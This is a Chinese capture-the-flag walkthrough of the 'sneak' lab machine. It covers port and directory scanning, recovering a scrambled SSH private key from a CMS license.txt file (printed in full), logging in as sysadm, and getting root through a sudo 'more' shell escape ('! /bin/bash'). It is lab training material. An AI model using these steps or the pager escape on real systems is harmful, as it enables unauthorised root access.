群友靶机-sneak

常规信息收集

```
┌──(kali㉿kali)-[~/Desktop/sneak]
└─$ sudo nmap --min-rate 10000 -p- 10.0.2.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 21:38 EDT
Nmap scan report for 10.0.2.40
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:7D:4F:EC (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 72.80 seconds
```

开放了22,80端口，简单扫一下

```
┌──(kali㉿kali)-[~/Desktop/sneak]
└─$ dirsearch -u 10.0.2.40
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 |
Wordlist size: 11460

Output File: /home/kali/Desktop/sneak/reports/_10.0.2.40/_25-07-14_21-36-
15.txt

Target: http://10.0.2.40/

[21:36:15] Starting:
[21:36:16] 403 -  274B  - /.ht_wsr.txt
[21:36:16] 403 -  274B  - /.htaccess.bak1
```

```
[21:36:16] 403 -  274B  - /.htaccess.save
[21:36:16] 403 -  274B  - /.htaccess.orig
[21:36:16] 403 -  274B  - /.htaccess.sample
[21:36:16] 403 -  274B  - /.htaccess_extra
[21:36:16] 403 -  274B  - /.htaccess_orig
[21:36:16] 403 -  274B  - /.htaccess_sc
[21:36:16] 403 -  274B  - /.htaccessBAK
[21:36:16] 403 -  274B  - /.htaccessOLD
[21:36:16] 403 -  274B  - /.htaccessOLD2
[21:36:16] 403 -  274B  - /.html
[21:36:16] 403 -  274B  - /.htm
[21:36:16] 403 -  274B  - /.htpasswds
[21:36:16] 403 -  274B  - /.httr-oauth
[21:36:16] 403 -  274B  - /.htpasswd_test
[21:36:16] 403 -  274B  - /.php
[21:36:22] 301 -  304B  - /cms  ->  http://10.0.2.40/cms/
[21:36:22] 500 -    0B  - /cms/
[21:36:31] 403 -  274B  - /server-status/
[21:36:31] 403 -  274B  - /server-status

Task Completed
```

只有cms目录有响应 那就继续扫一下

```
┌──(kali㉿kali)-[~/Desktop/sneak]
└─$ dirsearch -u 10.0.2.40/cms
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 |
Wordlist size: 11460

Output File: /home/kali/Desktop/sneak/reports/_10.0.2.40/_cms_25-07-14_21-44-
05.txt

Target: http://10.0.2.40/

[21:44:05] Starting: cms/
[21:44:06] 200 -  413B  - /cms/.gitignore
```

```
[21:44:06] 403 -  274B  - /cms/.ht_wsr.txt
[21:44:06] 403 -  274B  - /cms/.htaccess.bak1
[21:44:06] 403 -  274B  - /cms/.htaccess.save
[21:44:06] 403 -  274B  - /cms/.htaccess.sample
[21:44:06] 403 -  274B  - /cms/.htaccess.orig
[21:44:06] 403 -  274B  - /cms/.htaccess_extra
[21:44:06] 403 -  274B  - /cms/.htaccess_orig
[21:44:06] 403 -  274B  - /cms/.htaccess_sc
[21:44:06] 403 -  274B  - /cms/.htaccessOLD
[21:44:06] 403 -  274B  - /cms/.htaccessBAK
[21:44:06] 403 -  274B  - /cms/.htaccessOLD2
[21:44:06] 403 -  274B  - /cms/.htm
[21:44:06] 403 -  274B  - /cms/.html
[21:44:06] 403 -  274B  - /cms/.htpasswd_test
[21:44:06] 403 -  274B  - /cms/.htpasswds
[21:44:06] 403 -  274B  - /cms/.httr-oauth
[21:44:06] 403 -  274B  - /cms/.php
[21:44:12] 200 -    0B  - /cms/config.php
[21:44:13] 301 -  312B  - /cms/content  ->  http://10.0.2.40/cms/content/
[21:44:13] 200 -    0B  - /cms/content/
[21:44:13] 301 -  309B  - /cms/core  ->  http://10.0.2.40/cms/core/
[21:44:16] 301 -  312B  - /cms/install  ->  http://10.0.2.40/cms/install/
[21:44:16] 200 -  543B  - /cms/install/index.php?upgrade/
[21:44:16] 200 -  543B  - /cms/install/
[21:44:17] 301 -  308B  - /cms/lib  ->  http://10.0.2.40/cms/lib/
[21:44:17] 200 -    0B  - /cms/lib/
[21:44:17] 200 -    2KB - /cms/license.txt
[21:44:18] 301 -  312B  - /cms/modules  ->  http://10.0.2.40/cms/modules/
[21:44:18] 200 -    0B  - /cms/modules/
[21:44:21] 200 -    1KB - /cms/README.md
[21:44:22] 200 -   90B  - /cms/robots.txt
[21:44:24] 301 -  311B  - /cms/styles  ->  http://10.0.2.40/cms/styles/

Task Completed
```

感兴趣的挨个查看 在/cms/license.txt中看到疑似私钥

```
┌──(kali㉿kali)-[~/Desktop/sneak]
└─$ curl http://10.0.2.40/cms/license.txt
-----YEK ETAVIRP HSSNEPO NIGEB-----
```

```
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
==wBGUABDIQArFWZuNFQtRWYzl3cMAAAAkn2WUqipD5tU8
-----END OPENSSH PRIVATE KEY-----
```

可以看到第一行是反的 但是最后是正的 尝试过直接修改头不行后 结合靶机名称合理推测是正反交叉的

```
┌──(kali㉿kali)-[~/Desktop/sneak]
└─$ cat fixed_cred
-----BEGIN OPENSSH PRIVATE KEY-----
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
jSQ7sjSRRjY7zJaF+Pddkcnleejw HcNy48WUSesTKRSZQfTwqWN5DGIL23/BRhRWUr4iKq
hF9POCZc9HYmluQcSxrwgMPvdebZ2TAAAAwQDkZZIM3s22MjYcG2ho1zq8mmE8gn8DX06D
T5AHbmxc0QWQIKpIyhH4/w1BTXfeBmoRca80dhpMUK+idiYG9TOYW2yAczR3nCUYHhYuV2
SqJJULMMPaKbtreO7rLzra3Irr9dNU+0ZIy6OsoE9tHa8nCnuWoYa/p8efCoZNAFkCIfju
```

```
sX74l65qBqWMs8knQ2mxI6hmmZ+Tqvl+b2KqtsdML7VbLXTlfJmNxKwDnzMJ1QrINssBDx
8Ut5DpiqUW2nkAAAAMc3lzYWRtQFNuZWFrAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
```

通过ssh-keygen 可以反解公钥 这样就可以得到user

```
┌──(kali㉿kali)-[~/Desktop/sneak]
└─$ ssh-keygen -y -f fixed_cred
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDMk/ZcOb/YUyfx7uI7lTYwamUZMR9vv6q97X+ga1pYrU0xLn
910Czy+1chL3iNh7Ai45DepLnJrkRPejQ6TfeTmb2jL56R3YDygeIklQEPwI+y38FHg8wz44hir1CC
cAn2dlV2Mi/MKtjVjMa2C8JYUWM065yTN5PMcrlY/1m6aAtJH8n7wpPh81SHYDY6C4KD8xF7yos5EM
WhyuUa36Hg1R+uDFqgFCEl+Ixn3KBkDXFh0L/km0K5d4C8zr2NEQ5rEsDXfTb5Jn2hO7OJkGA7jtJD
a917+e+X9sCdsB4PxFg5VzDWqREngHj7YoSd4QpQLgTC4Ca7YLP6RA2sQqpw9S/8ISOc4vnbbkdgDl
YhRo49tLjAis97AtcxnhQImsNHmqHZWUmAbFuTHzpGOVhDmqLN3z/oZ8szRFG/yD7kowBGUhCbwfvG
p1KgJYWGhpKE6zIwZA4CXndPHEox+LHXI+8IwXiQqiDOZw5HpFUD6NORUHzbUkpLd7jpjkOgqHs=
sysadm@Sneak
```

用户是sysadm 那就尝试登录一下

```
┌──(kali㉿kali)-[~/Desktop/sneak]
└─$ ssh sysadm@10.0.2.40 -i fixed_cred
Linux Sneak 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 14 21:33:12 2025 from 10.0.2.39
sysadm@Sneak:~$ id
uid=1002(sysadm) gid=1003(sysadm) groups=1003(sysadm)
sysadm@Sneak:~$ sudo -l
Matching Defaults entries for sysadm on Sneak:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

```
User sysadm may run the following commands on Sneak:
    (ALL) NOPASSWD: /usr/bin/more /var/log/custom/fake-cleanup.sh
```

可以看到可以以sudo执行 /usr/bin/more /var/log/custom/fake-cleanup.sh
众所周知 more是可以命令执行的 那就先执行看看

```
sysadm@Sneak:~$ /usr/bin/more /var/log/custom/fake-cleanup.sh
# System cleanup script - DO NOT MODIFY
#
```

非常短 没有时间执行命令 那就额外输入一些

```
sysadm@Sneak:~$ echo '! /bin/bash' > /tmp/cmd
sysadm@Sneak:~$ sudo /usr/bin/more /var/log/custom/fake-cleanup.sh < /tmp/cmd
! /bin/bash
!bash
root@Sneak:/home/sysadm# id
uid=0(root) gid=0(root) groups=0(root)
root@Sneak:/home/sysadm#
```

至此拿下root 结束